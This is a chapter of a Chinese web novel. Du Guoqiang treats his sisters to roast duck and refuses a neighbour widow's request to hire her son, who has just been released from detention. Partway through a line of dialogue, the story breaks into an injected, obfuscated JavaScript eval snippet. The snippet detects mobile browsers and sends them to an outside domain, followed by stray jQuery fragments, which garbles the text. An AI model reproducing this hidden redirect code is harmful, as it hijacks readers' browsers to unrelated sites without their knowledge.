杜国强对王寡妇倒也没多大恶意,这种人在社会上实在太常见了。


    你过得不好时,对方瞅你可怜,兴许偶尔会赏你一口吃的。


    可一旦你转运,发财,对方立刻就像变了个人,怎么看你都不顺眼——这就叫势利眼。


    比他穷可以,比他富?


    那绝对不行。


    王寡妇自从见杜国强发家后,心里就憋着一股火,隔三差五挤兑自己的亲娘,也就是朱桂芳人好心善,没跟她计较。


    换个性格泼辣些的,早就一巴掌甩过去了。


    眼下朱桂芳还让自己帮忙拉扯王寡妇的儿子。


    杜国强不是圣人,让他这么做,肯定是办不到的。


    眼见朱桂芳还想开口,听得有些头疼的杜国强赶忙跳下沙发。


    “妈,我瞅安安和乐乐最近都饿瘦了,我这个当哥的不能不有所表示。我带她们下馆子去,一会儿给您带吃的回来,晚上就别做饭了。”


    说罢,杜国强便叫两个妹妹赶紧跟自己走。


    两个小吃货一听要下馆子,两眼一亮,蹦蹦跳跳就往杜国强身上扑。


    杜国强抓紧时机甩开朱桂芳,带着两个妹妹离开了家。


    朱桂芳见此情景,在身后骂道:“你就躲吧你!连自己亲娘都不带着,就是不想给你王婶办事是吧?”


    ......


    没了朱桂芳的唠叨,周遭顿时清静了不少。


    杜国强哼起小曲,问两个妹妹想吃啥。


    “烧鸭子!”安安和乐乐异口同声地回答。


    镇上有家烧鸭馆,里面的鸭子做得堪称一绝。不知两个小家伙什么时候放学时听人说起,馋虫早就被勾了出来。


    平日里,朱桂芳肯定舍不得给两个丫头片子买这个,但杜国强这个当大哥的可不一样。


    “好,带!大哥带你们去开眼界!”杜国强笑着把两个妹妹搂进怀里。


    一只烧鸭不便宜,整鸭切碎也就一两斤,却要卖三四块。


    这在现在这个年代可是笔巨款,三四块够一家三口吃个十天半个月。


    不过烧鸭馆生意实在火热,即便如此,依旧排起了长龙。


    杜国强带着两个妹妹在人群中规矩地排队,间隙里开口问道:“那个王婶最近来咱家次数多吗?”


    乐乐点了点头,说道:“多,王婶最近天天来咱家,向咱妈打听你啥时候回家,还时不时在咱妈面前夸她儿子多优秀呢。呸!大哥,我见过他那儿子,长得跟个冬瓜似的,看着就不聪明。”


    杜国强捏了捏乐乐的脸蛋:“呦,你还替大哥批判起别人了,小毛孩子。”


    乐乐撅着嘴道:“我不小了,我现在是大队长呢!”


    “我妹妹真是出息了。”杜国强笑着说,“行,今天就庆祝你俩是大队长,大哥可劲请你们开荤,一会买两只烧鸭子。”


    两个小吃货顿时兴奋地嚎叫起来。


    买上烧鸭子后,杜国强便带着两人往家走。


    虽说烧鸭店旁边也支了几张摊子,不过他舍不得让老娘在家吃冷的,打算一起回家吃。


    刚到家门口还没进去,就被邻居王寡妇瞅见了。


    王寡妇见到杜国强,赶忙打招呼:“国强,刚出去啦?”


    杜国强冷笑一声,皮笑肉不笑地应道:“是啊,王婶,带我两个妹妹出去买了点吃的。”


    王寡妇吸了吸鼻子,咽了口口水,贪婪的眼神落在那两个油纸包着的烧鸭上:“我一闻就知道,是烧鸭子吧?哎,王婶也馋这一口呢。”


    “对了,鸭屁股你们应该不吃吧?”王寡妇带着期待开口问道。


    杜国强嘴角一扬,淡淡道:“哎,王婶,这鸭屁股咋能不吃呢?我最爱这一口了。那屁股上的嫩肉,一嚼全是油,味道最好了。”


    “哦……”听到这话,王寡妇悻悻地缩了缩脖子,“那你们吃,你们吃。对了,国强,你妈跟你说没说那事?王婶想请你帮你兄弟**找个活儿,就在你那注塑厂里当个学徒工就行。”


    “兄弟?我啥时候多了个兄弟啊?”杜国强故意张大嘴,提高了音量,“我从来都只有两个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169079|178435||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妹妹。”


    王寡妇有些急了:“我大儿子……他从小就跟你……”


    她正想说两人在一个屋檐下长大,猛地想起杜国强家是前不久才搬来的,差点说漏嘴,赶忙改口,“他、他从小就仰慕你!看在邻里街坊的份上,你就给他安排个活儿吧?婶向你保证,**可能干了!”


    杜国强淡淡道:“王婶,不是我不帮你,实在是我看不出你那儿子有啥能干的地方。据我所知,他前不久才从看守所里放出来,前段时间去澡堂子偷看人家女生洗澡被抓了吧?我那注塑厂日后是要招收女同志的,要是把你儿子放进去,那不是送羊入狼嘴吗?别把人家女同志给祸害了。”


    王婶顿时急了:“你这说的叫什么话?把我儿子当**犯了?”


    杜国强冷笑道:“那倒是没有,只不过我得防着。您儿子来我厂干活这事,行不通。”


    说罢,杜国强“砰”的一下关上了自家院门,让王寡妇彻底闭了嘴。


    就在这时,王寡妇家的门也开了,一个贼眉鼠眼、脸上泛着油光的人从里面钻了出来,正是她的大儿子**。“咋样了妈?那杜国强答应了吧?”


    王寡妇叹了口气:“没有……这咋就不答应呢……”


    **顿时急了:“您不是说肯定能从他手里给我寻份工作吗?我这好不容易从看守所里放出来,您还想让我吊儿郎当的?”


    王寡妇也急了,道:“你可别再整出那种事来!工作的事,妈再帮你想办法。”


    她沉思片刻,忽然眼前一亮,“对了,我听说朱桂芳说,杜国强最近在公职上有了新安排,在市工业局上班。等他上班的时候,你跟我一块去堵他,看他当着政府人员的面,敢不敢跟你抬杠!”


    **顿时眼前一亮,连连点头:“妈,这法子好啊!做公职的人都要脸面,咱们这么一闹——尤其还是邻居,他肯定得答应!”


    他舔了舔嘴唇,眼里透着一股热切:“我早就听人说了,杜国强那注塑厂,待遇好得很呢!”